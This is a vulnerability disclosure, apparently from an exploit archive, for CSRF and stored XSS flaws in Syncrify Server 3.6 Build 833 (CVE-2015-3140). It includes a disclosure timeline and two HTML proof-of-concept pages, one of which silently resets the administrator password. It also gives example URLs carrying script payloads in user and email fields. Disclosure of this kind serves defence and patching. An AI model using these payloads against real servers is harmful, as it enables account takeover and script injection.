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Syncrify Server <= 3.6 Build 833 - CSRF / XSS Vulnerabilities
[# Exploit Title: Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS) # Date: 07-05-2015 # Exploit Author: Marlow Tannhauser # Contact: marlowtannhauser@gmail.com # Vendor Homepage: http://www.synametrics.com # Software Link: http://web.synametrics.com/SyncrifyDownload.htm # Version: 3.6 Build 833. Earlier versions may also be affected. # CVE: 2015-3140 # Category: Web apps # DISCLOSURE TIMELINE # 08/02/2015: Initial disclosure to vendor and CERT 09/02/2015: Acknowledgment of vulnerabilities from vendor 11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor 19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request 09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request 20/04/2015: Confirmation of fix from vendor 07/05/2015: Disclosure Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage. # EXPLOIT DESCRIPTION # Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. # POC 1 # The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities. <html> <img src="http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp" alt="" width="1" height="1"> </html> # POC 2 # The following PoC uses the CSRF vulnerability to change the administrator password. <html> <img src="http://192.168.0.8:5800/app?adminPassword=MARLOW&alertInvalidPassword=true&blockIP=false&alertManualPath=false&proceedButton=Save&operation=config&st=saveSecurity" width="0" height="0" border="0"> </html> # STORED XSS VULNERABILITIES # Stored XSS vulnerabilities are present in the following fields: Manage Users > Add New User > User's Full Name [displayed in Reports > Backup report by user] Example URL: http://192.168.0.8:5800/app?fullName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&login=user%40user.com&password=password&numVersionsToKeep=0&diskQuota=-1&selectedPath=%2Fhome%2F&operation=manageUsers&st=addUser# Configuration > Email Configuration > Administrator's Email [displayed in Troubleshoot and Reports pages] Example URL: http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp # MITIGATION # Upgrade to the latest build of Syncrify Server, available from the link shown. # 0day.today [2024-12-26] #